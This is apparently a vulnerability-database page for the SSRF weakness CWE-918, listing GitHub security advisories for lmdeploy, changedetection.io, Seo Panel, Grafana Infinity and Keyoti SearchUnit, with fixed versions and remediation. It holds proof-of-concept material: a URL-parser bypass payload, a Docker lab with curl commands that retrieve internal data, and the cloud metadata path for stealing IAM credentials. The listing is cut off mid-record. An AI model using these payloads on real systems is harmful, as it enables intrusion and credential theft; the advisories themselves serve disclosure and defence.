Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

6154 vulnerabilities reference this CWE, most recent first.

GHSA-39WR-7Q6H-CF68

Vulnerability from github – Published: 2026-09-18 17:14 – Updated: 2026-09-18 17:14
VLAI
Summary
LMDeploy has an SSRF bypass
Details

Summary

The URL checking logic in lmdeploy has a logical flaw that could be bypassed by attackers, leading to SSRF attacks.

Details

The current lmdeploy project uses _is_safe_url to validate the input URL. The main logic is to perform security checks on the host portion of the URL extracted by urlparse to prevent SSRF attacks. QQ20260416-203956-16-1 However, there are indeed differences in parsing between urlparse and the library that actually sends the request. Currently, almost all application scenarios in this project involve first using _is_safe_url for URL validation, and then using requests.Session().get to send the request. QQ20260416-204053-16-2 The core issue: urlparse() and requests disagree on which host a URL like http://127.0.0.1:6666\@1.1.1.1 points to:

  • urlparse() treats \ as a regular character and @ as the userinfo-host delimiter, so it extracts hostname as 1.1.1.1 (public)
  • requests treats \ as a path character, connecting to 127.0.0.1 (internal)

Below is a test code I wrote following the code.

from urllib.parse import urlparse
import ipaddress
import socket
import requests


def _is_safe_url(url: str) -> tuple[bool, str]:
    """Check if the URL is safe to fetch (not internal/private)."""
    try:
        parsed = urlparse(url)
        if parsed.scheme not in ("http", "https"):
            return False, f"Unsupported scheme: {parsed.scheme}"

        hostname = parsed.hostname
        if not hostname:
            return False, "Could not parse hostname from URL"

        # check all IPs (IPv4 + IPv6) using getaddrinfo
        try:
            infos = socket.getaddrinfo(hostname, None)
        except socket.gaierror:
            return False, "Hostname resolution failed"

        for info in infos:
            ip = ipaddress.ip_address(info[4][0])
            # block any IP that is not globally routable (covers private, loopback,
            # link-local, multicast, reserved, unspecified, etc.)
            if not ip.is_global:
                return False, f"Blocked non-global IP detected: {ip}"

        return True, "URL is safe"
    except Exception as e:
        return False, f"URL validation failed: {str(e)}"


# url = "http://127.0.0.1:6666"
url = "http://127.0.0.1:6666\@1.1.1.1"
is_safe, reason = _is_safe_url(url)
if not is_safe:
    raise ValueError(f"URL is blocked for security reasons: {reason}")

fetch_timeout = 10

client = requests.Session()
client.max_redirects = 3
response = client.get(url, timeout=fetch_timeout, allow_redirects=True)

When an attacker uses http://127.0.0.1:6666/, the existing detection logic can detect that this is an internal network address and block it. QQ20260416-204234-16-3 However, when an attacker uses http://127.0.0.1:6666\@1.1.1.1, the detection logic resolves the host to 1.1.1.1, which is a public IP address, thus passing the verification. But in the actual request process, this URL is forwarded by requests.get to http://127.0.0.1:6666/, bypassing the detection and achieving an SSRF attack.

QQ20260416-204319-16-4

PoC

http://127.0.0.1:6666\@1.1.1.1

Impact

SSRF

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "lmdeploy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.12.3"
            },
            {
              "fixed": "0.15.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-436",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-18T17:14:06Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nThe URL checking logic in lmdeploy has a logical flaw that could be bypassed by attackers, leading to SSRF attacks.\n\n### Details\nThe current lmdeploy project uses `_is_safe_url` to validate the input URL. The main logic is to perform security checks on the host portion of the URL extracted by urlparse to prevent SSRF attacks.\n\u003cimg width=\"943\" height=\"836\" alt=\"QQ20260416-203956-16-1\" src=\"https://github.com/user-attachments/assets/042faad1-7458-444a-bbc9-525c772b0a4d\" /\u003e\nHowever, there are indeed differences in parsing between urlparse and the library that actually sends the request. Currently, almost all application scenarios in this project involve first using `_is_safe_url` for URL validation, and then using requests.Session().get to send the request.\n\u003cimg width=\"1086\" height=\"576\" alt=\"QQ20260416-204053-16-2\" src=\"https://github.com/user-attachments/assets/7ffb8a69-b155-483a-90be-016c53e6387a\" /\u003e\nThe core issue:\u00a0`urlparse()`\u00a0and\u00a0`requests`\u00a0disagree on which host a URL like\u00a0`http://127.0.0.1:6666\\@1.1.1.1`\u00a0points to:\n\n- `urlparse()`\u00a0treats\u00a0`\\`\u00a0as a regular character and\u00a0`@`\u00a0as the userinfo-host delimiter, so it extracts hostname as\u00a01.1.1.1\u00a0(public)\n- `requests`\u00a0treats\u00a0`\\`\u00a0as a path character, connecting to\u00a0`127.0.0.1`\u00a0(internal)\n\nBelow is a test code I wrote following the code.\n```\nfrom urllib.parse import urlparse\nimport ipaddress\nimport socket\nimport requests\n\n\ndef _is_safe_url(url: str) -\u003e tuple[bool, str]:\n    \"\"\"Check if the URL is safe to fetch (not internal/private).\"\"\"\n    try:\n        parsed = urlparse(url)\n        if parsed.scheme not in (\"http\", \"https\"):\n            return False, f\"Unsupported scheme: {parsed.scheme}\"\n\n        hostname = parsed.hostname\n        if not hostname:\n            return False, \"Could not parse hostname from URL\"\n\n        # check all IPs (IPv4 + IPv6) using getaddrinfo\n        try:\n            infos = socket.getaddrinfo(hostname, None)\n        except socket.gaierror:\n            return False, \"Hostname resolution failed\"\n\n        for info in infos:\n            ip = ipaddress.ip_address(info[4][0])\n            # block any IP that is not globally routable (covers private, loopback,\n            # link-local, multicast, reserved, unspecified, etc.)\n            if not ip.is_global:\n                return False, f\"Blocked non-global IP detected: {ip}\"\n\n        return True, \"URL is safe\"\n    except Exception as e:\n        return False, f\"URL validation failed: {str(e)}\"\n\n\n# url = \"http://127.0.0.1:6666\"\nurl = \"http://127.0.0.1:6666\\@1.1.1.1\"\nis_safe, reason = _is_safe_url(url)\nif not is_safe:\n    raise ValueError(f\"URL is blocked for security reasons: {reason}\")\n\nfetch_timeout = 10\n\nclient = requests.Session()\nclient.max_redirects = 3\nresponse = client.get(url, timeout=fetch_timeout, allow_redirects=True)\n```\nWhen an attacker uses http://127.0.0.1:6666/, the existing detection logic can detect that this is an internal network address and block it.\n\u003cimg width=\"1286\" height=\"195\" alt=\"QQ20260416-204234-16-3\" src=\"https://github.com/user-attachments/assets/b921ff01-3b9f-49a5-a410-bd21fe42f9c9\" /\u003e\nHowever, when an attacker uses `http://127.0.0.1:6666\\@1.1.1.1`, the detection logic resolves the host to `1.1.1.1`, which is a public IP address, thus passing the verification. But in the actual request process, this URL is forwarded by requests.get to `http://127.0.0.1:6666/`, bypassing the detection and achieving an SSRF attack.\n\n\u003cimg width=\"2064\" height=\"154\" alt=\"QQ20260416-204319-16-4\" src=\"https://github.com/user-attachments/assets/5da18f35-f400-46e6-9bf3-1330ba424b02\" /\u003e\n\n### PoC\n```\nhttp://127.0.0.1:6666\\@1.1.1.1\n```\n\n### Impact\nSSRF",
  "id": "GHSA-39wr-7q6h-cf68",
  "modified": "2026-09-18T17:14:06Z",
  "published": "2026-09-18T17:14:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/InternLM/lmdeploy/security/advisories/GHSA-39wr-7q6h-cf68"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/InternLM/lmdeploy"
    },
    {
      "type": "WEB",
      "url": "https://github.com/InternLM/lmdeploy/releases/tag/v0.15.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "LMDeploy has an SSRF bypass"
}

GHSA-3C45-4PJ5-CH7M

Vulnerability from github – Published: 2026-02-25 19:08 – Updated: 2026-02-25 19:08
VLAI
Summary
changedetection.io is Vulnerable to SSRF via Watch URLs
Details

Summary

Changedetection.io is vulnerable to Server-Side Request Forgery (SSRF) because the URL validation function is_safe_valid_url() does not validate the resolved IP address of watch URLs against private, loopback, or link-local address ranges. An authenticated user (or any user when no password is configured, which is the default) can add a watch for internal network URLs such as:

  • http://169.254.169.254
  • http://10.0.0.1/
  • http://127.0.0.1/

The application fetches these URLs server-side, stores the response content, and makes it viewable through the web UI — enabling full data exfiltration from internal services.

This is particularly severe because:

  • The fetched content is stored and viewable - this is not a blind SSRF
  • Watches are fetched periodically - creating a persistent SSRF that continuously accesses internal resources
  • By default, no password is set - the web UI is accessible without authentication
  • Self-hosted deployments typically run on cloud infrastructure where 169.254.169.254 returns real IAM credentials

Details

The URL validation function is_safe_valid_url() in changedetectionio/validate_url.py (lines 60–122) validates the URL protocol (http/https/ftp) and format using the validators library, but does not perform any DNS resolution or IP address validation:

# changedetectionio/validate_url.py:60-122
@lru_cache(maxsize=1000)
def is_safe_valid_url(test_url):

    safe_protocol_regex = '^(http|https|ftp):'

    # Check protocol
    pattern = re.compile(os.getenv('SAFE_PROTOCOL_REGEX', safe_protocol_regex), re.IGNORECASE)
    if not pattern.match(test_url.strip()):
        return False

    # Check URL format
    if not validators.url(test_url, simple_host=True):
        return False

    return True  # No IP address validation performed

The HTTP fetcher in changedetectionio/content_fetchers/requests.py (lines 83–89) then makes the request without any additional IP validation:

# changedetectionio/content_fetchers/requests.py:83-89
r = session.request(method=request_method,
                    url=url,            # User-provided URL, no IP validation
                    headers=request_headers,
                    timeout=timeout,
                    proxies=proxies,
                    verify=False)

The response content is stored and made available to the user:

# changedetectionio/content_fetchers/requests.py:140-142
self.content = r.text     # Text content stored
self.raw_content = r.content  # Raw bytes stored

This validation gap exists in all entry points that accept watch URLs:

  • Web UI: changedetectionio/store/__init__.py:718
  • REST API: changedetectionio/api/watch.py:163, 428
  • Import API: changedetectionio/api/import.py:188

All use the same is_safe_valid_url() function, so a single fix addresses all paths.


PoC

Prerequisites

  • A changedetection.io instance (Docker deployment)
  • Network access to the instance (default port 5000)

Step 1: Deploy changedetection.io with an internal service

Create internal-service.py:

#!/usr/bin/env python3
from http.server import HTTPServer, BaseHTTPRequestHandler
import json
class H(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header('Content-Type', 'application/json')
        self.end_headers()
        self.wfile.write(json.dumps({
            'Code': 'Success',
            'AccessKeyId': 'AKIAIOSFODNN7EXAMPLE',
            'SecretAccessKey': 'wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY',
            'Token': 'FwoGZXIvYXdzEBYaDExampleSessionToken'
        }).encode())
HTTPServer(('0.0.0.0', 80), H).serve_forever()

Create Dockerfile.internal:

FROM python:3.11-slim
COPY internal-service.py /server.py
CMD ["python3", "/server.py"]

Create docker-compose.yml:

version: "3.8"
services:
  changedetection:
    image: ghcr.io/dgtlmoon/changedetection.io
    ports:
      - "5000:5000"
    volumes:
      - ./datastore:/datastore

  internal-service:
    build:
      context: .
      dockerfile: Dockerfile.internal

Start the stack:

docker compose up -d

Step 2: Add a watch for the internal service

Open http://localhost:5000/ in a browser (no password required by default).

In the URL field, enter:

http://internal-service/

Click Watch and wait for the first check to complete.

Step 3: View the exfiltrated data

Click on the watch entry, then click Preview. The page displays the internal service’s response containing the simulated credentials:

{
  "Code": "Success",
  "AccessKeyId": "AKIAIOSFODNN7EXAMPLE",
  "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
  ...
}

Screenshot 2026-02-16 084212

Step 4: Verify via API (alternative)

# Get the API key (visible in Settings page of the unauthenticated web UI)
API_KEY=$(docker compose exec changedetection cat /datastore/url-watches.json | \
  python3 -c "import sys,json; print(json.load(sys.stdin)['settings']['application']['api_access_token'])")

# Create a watch via API
WATCH_RESPONSE=$(curl -s -X POST "http://localhost:5000/api/v1/watch" \
  -H "x-api-key: $API_KEY" \
  -H "Content-Type: application/json" \
  -d '{"url": "http://internal-service/"}')

WATCH_UUID=$(echo "$WATCH_RESPONSE" | python3 -c "import sys,json; print(json.load(sys.stdin)['uuid'])")
echo "Watch created: $WATCH_UUID"

# Wait for the first fetch to complete
echo "Waiting 30s for first fetch..."
sleep 30

# Retrieve the exfiltrated data via API
LATEST_TS=$(curl -s "http://localhost:5000/api/v1/watch/$WATCH_UUID/history" \
  -H "x-api-key: $API_KEY" | \
  python3 -c "import sys,json; h=json.load(sys.stdin); print(sorted(h.keys())[-1]) if h else print('')")

echo "=== EXFILTRATED DATA ==="
curl -s "http://localhost:5000/api/v1/watch/$WATCH_UUID/history/$LATEST_TS" \
  -H "x-api-key: $API_KEY"

Expected output — the internal service’s response containing simulated credentials:

{
  "Code": "Success",
  "AccessKeyId": "AKIAIOSFODNN7EXAMPLE",
  "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
  ...
}

In a real cloud deployment, replacing http://internal-service/ with:

http://169.254.169.254/latest/meta-data/iam/security-credentials/

would return real AWS IAM credentials.

Screenshot 2026-02-16 084407


Impact

Who is impacted:
All self-hosted changedetection.io deployments, particularly those running on cloud infrastructure (AWS, GCP, Azure) where the instance metadata service at 169.254.169.254 is accessible.

What an attacker can do:

  • Steal cloud credentials: Access the cloud metadata endpoint to obtain IAM credentials, service account tokens, or managed identity tokens
  • Scan internal networks: Discover internal services by adding watches for internal IP ranges and observing responses
  • Access internal services: Read data from internal APIs, databases, and admin interfaces that are not exposed to the internet
  • Persistent access: Watches are fetched periodically on a configurable schedule, providing continuous access to internal resources
  • No authentication required by default: The web UI has no password set by default, allowing any user with network access to exploit this vulnerability

Suggested Remediation

Add IP address validation to is_safe_valid_url() in changedetectionio/validate_url.py:

import ipaddress
import socket

BLOCKED_NETWORKS = [
    ipaddress.ip_network('127.0.0.0/8'),     # Loopback
    ipaddress.ip_network('10.0.0.0/8'),      # Private (RFC 1918)
    ipaddress.ip_network('172.16.0.0/12'),   # Private (RFC 1918)
    ipaddress.ip_network('192.168.0.0/16'),  # Private (RFC 1918)
    ipaddress.ip_network('169.254.0.0/16'),  # Link-local / Cloud metadata
    ipaddress.ip_network('::1/128'),         # IPv6 loopback
    ipaddress.ip_network('fc00::/7'),        # IPv6 unique local
    ipaddress.ip_network('fe80::/10'),       # IPv6 link-local
]

def is_private_ip(hostname):
    """Check if a hostname resolves to a private/reserved IP address."""
    try:
        for info in socket.getaddrinfo(hostname, None):
            ip = ipaddress.ip_address(info[4][0])
            for network in BLOCKED_NETWORKS:
                if ip in network:
                    return True
    except socket.gaierror:
        return True  # Block unresolvable hostnames
    return False

Then add to is_safe_valid_url() before the final return True:

# Check for private/reserved IP addresses
parsed = urlparse(test_url)
if parsed.hostname and is_private_ip(parsed.hostname):
    logger.warning(f"URL '{test_url}' resolves to a private/reserved IP address")
    return False

An environment variable (e.g., ALLOW_PRIVATE_IPS=true) could be provided for users who intentionally need to monitor internal services.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "changedetection.io"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.54.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27696"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-25T19:08:18Z",
    "nvd_published_at": "2026-02-25T05:17:26Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nChangedetection.io is vulnerable to Server-Side Request Forgery (SSRF) because the URL validation function `is_safe_valid_url()` does not validate the resolved IP address of watch URLs against private, loopback, or link-local address ranges. An authenticated user (or any user when no password is configured, which is the default) can add a watch for internal network URLs such as:\n\n- `http://169.254.169.254`\n- `http://10.0.0.1/`\n- `http://127.0.0.1/`\n\nThe application fetches these URLs server-side, stores the response content, and makes it viewable through the web UI \u2014 enabling full data exfiltration from internal services.\n\nThis is particularly severe because:\n\n- The fetched content is stored and viewable - this is not a blind SSRF\n- Watches are fetched periodically - creating a persistent SSRF that continuously accesses internal resources\n- By default, no password is set - the web UI is accessible without authentication\n- Self-hosted deployments typically run on cloud infrastructure where `169.254.169.254` returns real IAM credentials\n\n---\n\n## Details\n\nThe URL validation function `is_safe_valid_url()` in `changedetectionio/validate_url.py` (lines 60\u2013122) validates the URL protocol (http/https/ftp) and format using the `validators` library, but does not perform any DNS resolution or IP address validation:\n\n```python\n# changedetectionio/validate_url.py:60-122\n@lru_cache(maxsize=1000)\ndef is_safe_valid_url(test_url):\n\n    safe_protocol_regex = \u0027^(http|https|ftp):\u0027\n\n    # Check protocol\n    pattern = re.compile(os.getenv(\u0027SAFE_PROTOCOL_REGEX\u0027, safe_protocol_regex), re.IGNORECASE)\n    if not pattern.match(test_url.strip()):\n        return False\n\n    # Check URL format\n    if not validators.url(test_url, simple_host=True):\n        return False\n\n    return True  # No IP address validation performed\n```\n\nThe HTTP fetcher in `changedetectionio/content_fetchers/requests.py` (lines 83\u201389) then makes the request without any additional IP validation:\n\n```python\n# changedetectionio/content_fetchers/requests.py:83-89\nr = session.request(method=request_method,\n                    url=url,            # User-provided URL, no IP validation\n                    headers=request_headers,\n                    timeout=timeout,\n                    proxies=proxies,\n                    verify=False)\n```\nThe response content is stored and made available to the user:\n\n```python\n# changedetectionio/content_fetchers/requests.py:140-142\nself.content = r.text     # Text content stored\nself.raw_content = r.content  # Raw bytes stored\n```\nThis validation gap exists in all entry points that accept watch URLs:\n\n- Web UI: `changedetectionio/store/__init__.py:718`\n- REST API: `changedetectionio/api/watch.py:163, 428`\n- Import API: `changedetectionio/api/import.py:188`\n\nAll use the same `is_safe_valid_url()` function, so a single fix addresses all paths.\n\n---\n\n## PoC\n\n### Prerequisites\n\n- A changedetection.io instance (Docker deployment)\n- Network access to the instance (default port 5000)\n\n### Step 1: Deploy changedetection.io with an internal service\n\nCreate `internal-service.py`:\n```python\n#!/usr/bin/env python3\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\nimport json\nclass H(BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200)\n        self.send_header(\u0027Content-Type\u0027, \u0027application/json\u0027)\n        self.end_headers()\n        self.wfile.write(json.dumps({\n            \u0027Code\u0027: \u0027Success\u0027,\n            \u0027AccessKeyId\u0027: \u0027AKIAIOSFODNN7EXAMPLE\u0027,\n            \u0027SecretAccessKey\u0027: \u0027wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\u0027,\n            \u0027Token\u0027: \u0027FwoGZXIvYXdzEBYaDExampleSessionToken\u0027\n        }).encode())\nHTTPServer((\u00270.0.0.0\u0027, 80), H).serve_forever()\n```\n\nCreate `Dockerfile.internal`:\n```\nFROM python:3.11-slim\nCOPY internal-service.py /server.py\nCMD [\"python3\", \"/server.py\"]\n```\n\nCreate `docker-compose.yml`:\n```yaml\nversion: \"3.8\"\nservices:\n  changedetection:\n    image: ghcr.io/dgtlmoon/changedetection.io\n    ports:\n      - \"5000:5000\"\n    volumes:\n      - ./datastore:/datastore\n\n  internal-service:\n    build:\n      context: .\n      dockerfile: Dockerfile.internal\n```\n\nStart the stack:\n\n```bash\ndocker compose up -d\n```\n\n### Step 2: Add a watch for the internal service\n\nOpen `http://localhost:5000/` in a browser (no password required by default).\n\nIn the URL field, enter:\n```\nhttp://internal-service/\n```\nClick **Watch** and wait for the first check to complete.\n\n### Step 3: View the exfiltrated data\n\nClick on the watch entry, then click **Preview**. The page displays the internal service\u2019s response containing the simulated credentials:\n```json\n{\n  \"Code\": \"Success\",\n  \"AccessKeyId\": \"AKIAIOSFODNN7EXAMPLE\",\n  \"SecretAccessKey\": \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\",\n  ...\n}\n```\n\u003cimg width=\"2291\" height=\"780\" alt=\"Screenshot 2026-02-16 084212\" src=\"https://github.com/user-attachments/assets/115b69fb-ea10-4c47-a38c-409ede0e03cd\" /\u003e\n\n### Step 4: Verify via API (alternative)\n```bash\n# Get the API key (visible in Settings page of the unauthenticated web UI)\nAPI_KEY=$(docker compose exec changedetection cat /datastore/url-watches.json | \\\n  python3 -c \"import sys,json; print(json.load(sys.stdin)[\u0027settings\u0027][\u0027application\u0027][\u0027api_access_token\u0027])\")\n\n# Create a watch via API\nWATCH_RESPONSE=$(curl -s -X POST \"http://localhost:5000/api/v1/watch\" \\\n  -H \"x-api-key: $API_KEY\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"url\": \"http://internal-service/\"}\u0027)\n\nWATCH_UUID=$(echo \"$WATCH_RESPONSE\" | python3 -c \"import sys,json; print(json.load(sys.stdin)[\u0027uuid\u0027])\")\necho \"Watch created: $WATCH_UUID\"\n\n# Wait for the first fetch to complete\necho \"Waiting 30s for first fetch...\"\nsleep 30\n\n# Retrieve the exfiltrated data via API\nLATEST_TS=$(curl -s \"http://localhost:5000/api/v1/watch/$WATCH_UUID/history\" \\\n  -H \"x-api-key: $API_KEY\" | \\\n  python3 -c \"import sys,json; h=json.load(sys.stdin); print(sorted(h.keys())[-1]) if h else print(\u0027\u0027)\")\n\necho \"=== EXFILTRATED DATA ===\"\ncurl -s \"http://localhost:5000/api/v1/watch/$WATCH_UUID/history/$LATEST_TS\" \\\n  -H \"x-api-key: $API_KEY\"\n```\nExpected output \u2014 the internal service\u2019s response containing simulated credentials:\n```json\n{\n  \"Code\": \"Success\",\n  \"AccessKeyId\": \"AKIAIOSFODNN7EXAMPLE\",\n  \"SecretAccessKey\": \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\",\n  ...\n}\n```\n\nIn a real cloud deployment, replacing `http://internal-service/` with:\n\n```bash\nhttp://169.254.169.254/latest/meta-data/iam/security-credentials/\n```\nwould return real AWS IAM credentials.\n\n\u003cimg width=\"1140\" height=\"607\" alt=\"Screenshot 2026-02-16 084407\" src=\"https://github.com/user-attachments/assets/cb1f5c02-6604-49e6-9e26-13406b190b45\" /\u003e\n\n---\n\n## Impact\n\n**Who is impacted:**  \nAll self-hosted changedetection.io deployments, particularly those running on cloud infrastructure (AWS, GCP, Azure) where the instance metadata service at `169.254.169.254` is accessible.\n\n**What an attacker can do:**\n\n- **Steal cloud credentials:** Access the cloud metadata endpoint to obtain IAM credentials, service account tokens, or managed identity tokens\n- **Scan internal networks:** Discover internal services by adding watches for internal IP ranges and observing responses\n- **Access internal services:** Read data from internal APIs, databases, and admin interfaces that are not exposed to the internet\n- **Persistent access:** Watches are fetched periodically on a configurable schedule, providing continuous access to internal resources\n- **No authentication required by default:** The web UI has no password set by default, allowing any user with network access to exploit this vulnerability\n\n---\n\n### Suggested Remediation\n\nAdd IP address validation to `is_safe_valid_url()` in `changedetectionio/validate_url.py`:\n\n```python\nimport ipaddress\nimport socket\n\nBLOCKED_NETWORKS = [\n    ipaddress.ip_network(\u0027127.0.0.0/8\u0027),     # Loopback\n    ipaddress.ip_network(\u002710.0.0.0/8\u0027),      # Private (RFC 1918)\n    ipaddress.ip_network(\u0027172.16.0.0/12\u0027),   # Private (RFC 1918)\n    ipaddress.ip_network(\u0027192.168.0.0/16\u0027),  # Private (RFC 1918)\n    ipaddress.ip_network(\u0027169.254.0.0/16\u0027),  # Link-local / Cloud metadata\n    ipaddress.ip_network(\u0027::1/128\u0027),         # IPv6 loopback\n    ipaddress.ip_network(\u0027fc00::/7\u0027),        # IPv6 unique local\n    ipaddress.ip_network(\u0027fe80::/10\u0027),       # IPv6 link-local\n]\n\ndef is_private_ip(hostname):\n    \"\"\"Check if a hostname resolves to a private/reserved IP address.\"\"\"\n    try:\n        for info in socket.getaddrinfo(hostname, None):\n            ip = ipaddress.ip_address(info[4][0])\n            for network in BLOCKED_NETWORKS:\n                if ip in network:\n                    return True\n    except socket.gaierror:\n        return True  # Block unresolvable hostnames\n    return False\n```\n\nThen add to `is_safe_valid_url()` before the final `return True`:\n\n```python\n# Check for private/reserved IP addresses\nparsed = urlparse(test_url)\nif parsed.hostname and is_private_ip(parsed.hostname):\n    logger.warning(f\"URL \u0027{test_url}\u0027 resolves to a private/reserved IP address\")\n    return False\n```\n\nAn environment variable (e.g., `ALLOW_PRIVATE_IPS=true`) could be provided for users who intentionally need to monitor internal services.",
  "id": "GHSA-3c45-4pj5-ch7m",
  "modified": "2026-02-25T19:08:18Z",
  "published": "2026-02-25T19:08:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-3c45-4pj5-ch7m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27696"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dgtlmoon/changedetection.io/commit/fe7aa38c651d73fe5f41ce09855fa8f97193747b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dgtlmoon/changedetection.io"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "changedetection.io is Vulnerable to SSRF via Watch URLs"
}

GHSA-3C8W-XM49-2W5F

Vulnerability from github – Published: 2025-04-17 21:31 – Updated: 2025-04-18 18:31
VLAI
Details

An issue in Seo Panel 4.11.0 allows a remote attacker to obtain sensitive information via the Proxy Manager component.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-29452"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-17T21:15:50Z",
    "severity": "HIGH"
  },
  "details": "An issue in Seo Panel 4.11.0 allows a remote attacker to obtain sensitive information via the Proxy Manager component.",
  "id": "GHSA-3c8w-xm49-2w5f",
  "modified": "2025-04-18T18:31:23Z",
  "published": "2025-04-17T21:31:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-29452"
    },
    {
      "type": "WEB",
      "url": "https://www.yuque.com/morysummer/vx41bz/dsvvsv8get5i2dzg"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3C93-92R7-J934

Vulnerability from github – Published: 2025-08-04 09:30 – Updated: 2025-08-04 20:25
VLAI
Summary
Grafana Infinity Datasource Plugin SSRF Vulnerability
Details

Grafana is an open-source platform for monitoring and observability. The Infinity datasource plugin, maintained by Grafana Labs, allows visualizing data from JSON, CSV, XML, GraphQL, and HTML endpoints.

If the plugin was configured to allow only certain URLs, an attacker could bypass this restriction using a specially crafted URL. This vulnerability is fixed in version 3.4.1.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/grafana/grafana-infinity-datasource"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.4.2-0.20250731100004-9c736aa21b3a"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-8341"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-04T20:25:39Z",
    "nvd_published_at": "2025-08-04T09:15:26Z",
    "severity": "MODERATE"
  },
  "details": "Grafana is an open-source platform for monitoring and observability. The Infinity datasource plugin, maintained by Grafana Labs, allows visualizing data from JSON, CSV, XML, GraphQL, and HTML endpoints.\n\n\nIf the plugin was configured to allow only certain URLs, an attacker could bypass this restriction using a specially crafted URL. This vulnerability is fixed in version 3.4.1.",
  "id": "GHSA-3c93-92r7-j934",
  "modified": "2025-08-04T20:25:39Z",
  "published": "2025-08-04T09:30:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8341"
    },
    {
      "type": "WEB",
      "url": "https://github.com/grafana/grafana-infinity-datasource/commit/9c736aa21b3a669d3070d3f5f80d949326fafa77"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/grafana/grafana-infinity-datasource"
    },
    {
      "type": "WEB",
      "url": "https://github.com/grafana/grafana-infinity-datasource/releases/tag/v3.4.1"
    },
    {
      "type": "WEB",
      "url": "https://grafana.com/security/security-advisories/cve-2025-8341"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Grafana Infinity Datasource Plugin SSRF Vulnerability"
}

GHSA-3C9C-9W7C-4F9J

Vulnerability from github – Published: 2025-06-10 18:32 – Updated: 2025-06-17 21:32
VLAI
Details

Keyoti SearchUnit prior to 9.0.0. is vulnerable to Server-Side Request Forgery (SSRF) in /Keyoti_SearchEngine_Web_Common/SearchService.svc/GetResults and /Keyoti_SearchEngine_Web_Common/SearchService.svc/GetLocationAndContentCategories. An attacker can specify their own SMB server as the indexDirectory value when making POST requests to the affected components. In doing so an attacker can get the SearchUnit server to read and write configuration and log files from/to the attackers server.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-44043"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-06-10T16:15:40Z",
    "severity": "MODERATE"
  },
  "details": "Keyoti SearchUnit prior to 9.0.0. is vulnerable to Server-Side Request Forgery (SSRF) in /Keyoti_SearchEngine_Web_Common/SearchService.svc/GetResults and /Keyoti_SearchEngine_Web_Common/SearchService.svc/GetLocationAndContentCategories. An attacker can specify their own SMB server as the indexDirectory value when making POST requests to the affected components. In doing so an attacker can get the SearchUnit server to read and write configuration and log files from/to the attackers server.",
  "id": "GHSA-3c9c-9w7c-4f9j",
